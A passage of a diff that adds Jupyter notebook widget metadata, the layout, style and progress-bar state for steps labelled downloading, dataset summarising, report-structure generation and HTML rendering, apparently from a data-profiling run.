"_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_5fb2b8eb975e4bcaa4b006ab4d2666ad", + "IPY_MODEL_0d045ce66ac748f39b128dbb07d244ac", + "IPY_MODEL_8c61a995c73042869b1c8ce078243b1f" + ], + "layout": "IPY_MODEL_f74ee834aea648e88643a05dd42f0335" + } + }, + "5fb2b8eb975e4bcaa4b006ab4d2666ad": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6fe1fe4e25ad43f1bc8835e98cca60d2", + "placeholder": "β", + "style": "IPY_MODEL_542b7e2ead0f43019751a18d171b1da3", + "value": "Downloading:β100%" + } + }, + "0d045ce66ac748f39b128dbb07d244ac": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_832c5afe0b1642dbae94c245f46d7616", + "max": 43671, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5105210c3e6b4bda8c1c09a25036dc13", + "value": 43671 + } + }, + "8c61a995c73042869b1c8ce078243b1f": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0f551e74aa334c1ebde5254c5041ed68", + "placeholder": "β", + "style": "IPY_MODEL_0fc48fa623064b1cbc1f929d3e2dab5e", + "value": "" + } + }, + "f74ee834aea648e88643a05dd42f0335": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6fe1fe4e25ad43f1bc8835e98cca60d2": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "542b7e2ead0f43019751a18d171b1da3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "832c5afe0b1642dbae94c245f46d7616": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5105210c3e6b4bda8c1c09a25036dc13": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0f551e74aa334c1ebde5254c5041ed68": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0fc48fa623064b1cbc1f929d3e2dab5e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e87812f5a898469bb2bad220a6e91566": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_5340a286a5c64ae18446fa1c7510715e", + "IPY_MODEL_683df473a75d436e82b07a3169bfd64c", + "IPY_MODEL_05d27b17d2c245ca832a0e9fb175c62b" + ], + "layout": "IPY_MODEL_3cd8c61bb49a43f3b0978837ef9a61bd" + } + }, + "5340a286a5c64ae18446fa1c7510715e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e617ffc8fe64453794e00ff383adfd49", + "placeholder": "β", + "style": "IPY_MODEL_58117e02cbbe4013899717d9149cadbc", + "value": "Summarizeβdataset:β100%" + } + }, + "683df473a75d436e82b07a3169bfd64c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ca7d018d03b349109625155ce8565556", + "max": 5, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_997d2eb93bc947eb915dfc965c27387e", + "value": 5 + } + }, + "05d27b17d2c245ca832a0e9fb175c62b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f151ebf67d20449a953acbde1cf6459f", + "placeholder": "β", + "style": "IPY_MODEL_5e667a61dcae4b8db4d9f1aeb3903161", + "value": "β82/82β[00:14<00:00,ββ4.32it/s,βCompleted]" + } + }, + "3cd8c61bb49a43f3b0978837ef9a61bd": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e617ffc8fe64453794e00ff383adfd49": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58117e02cbbe4013899717d9149cadbc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ca7d018d03b349109625155ce8565556": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "997d2eb93bc947eb915dfc965c27387e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f151ebf67d20449a953acbde1cf6459f": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5e667a61dcae4b8db4d9f1aeb3903161": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a084bafb25c94e6997ba2f4da9db1819": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_23417e1e02b746599ab7cbed74052e14", + "IPY_MODEL_49540d8b789341a0a0ae2749bf93de1d", + "IPY_MODEL_355ee7238d914eeeaa1cdf62ef2ab176" + ], + "layout": "IPY_MODEL_8d32e8bfc0f6412fb2c78c3293010dbe" + } + }, + "23417e1e02b746599ab7cbed74052e14": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4a056b5aadf94bba97a5769dfacb551a", + "placeholder": "β", + "style": "IPY_MODEL_685e8e59c01f42388be05608248ed424", + "value": "Generateβreportβstructure:β100%" + } + }, + "49540d8b789341a0a0ae2749bf93de1d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_04aa8a778e1047a3b1ea78144f646f0c", + "max": 1, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1c2bbe06d9464626bfa1b5bc84db4ab3", + "value": 1 + } + }, + "355ee7238d914eeeaa1cdf62ef2ab176": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f0a889f2b51f464cab9f3308e3b63121", + "placeholder": "β", + "style": "IPY_MODEL_a26e9a47d91348d3b105772edeac5630", + "value": "β1/1β[00:03<00:00,ββ3.28s/it]" + } + }, + "8d32e8bfc0f6412fb2c78c3293010dbe": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4a056b5aadf94bba97a5769dfacb551a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "685e8e59c01f42388be05608248ed424": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "04aa8a778e1047a3b1ea78144f646f0c": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1c2bbe06d9464626bfa1b5bc84db4ab3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f0a889f2b51f464cab9f3308e3b63121": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a26e9a47d91348d3b105772edeac5630": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ea7a3a04cfb94fe98bd95a9f7966edce": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2a58793d049444c6a53aca19c71defb6", + "IPY_MODEL_f6eb1f0d931747b481c36ddfbe2a5573", + "IPY_MODEL_b81f9444bef847b88c08ac0680f8f658" + ], + "layout": "IPY_MODEL_5bfbecef183049f59f51d6e7da14e834" + } + }, + "2a58793d049444c6a53aca19c71defb6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_311de98c10b74ea2b1ed6eed85cdafda", + "placeholder": "β", + "style": "IPY_MODEL_ce5fbdac783f41689d7974ce121ac2cd", + "value": "RenderβHTML:β100%" + } + }, + "f6eb1f0d931747b481c36ddfbe2a5573": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e51720ac245a45c1bd56134aef6a2a89", + "max": 1, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_536ff1057f0e44d9985e76d3c320c7fd", + "value": 1 + } + }, + "b81f9444bef847b88c08ac0680f8f658": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9d9c41199f094121b70eb561b2243654", + "placeholder": "β", + "style": "IPY_MODEL_7b7b0397219a4ce98149f88c274ae6fa", + "value": "β1/1β[00:03<00:00,ββ3.27s/it]" + } + }, + "5bfbecef183049f59f51d6e7da14e834": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "311de98c10b74ea2b1ed6eed85cdafda": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce5fbdac783f41689d7974ce121ac2cd": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e51720ac245a45c1bd56134aef6a2a89": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + 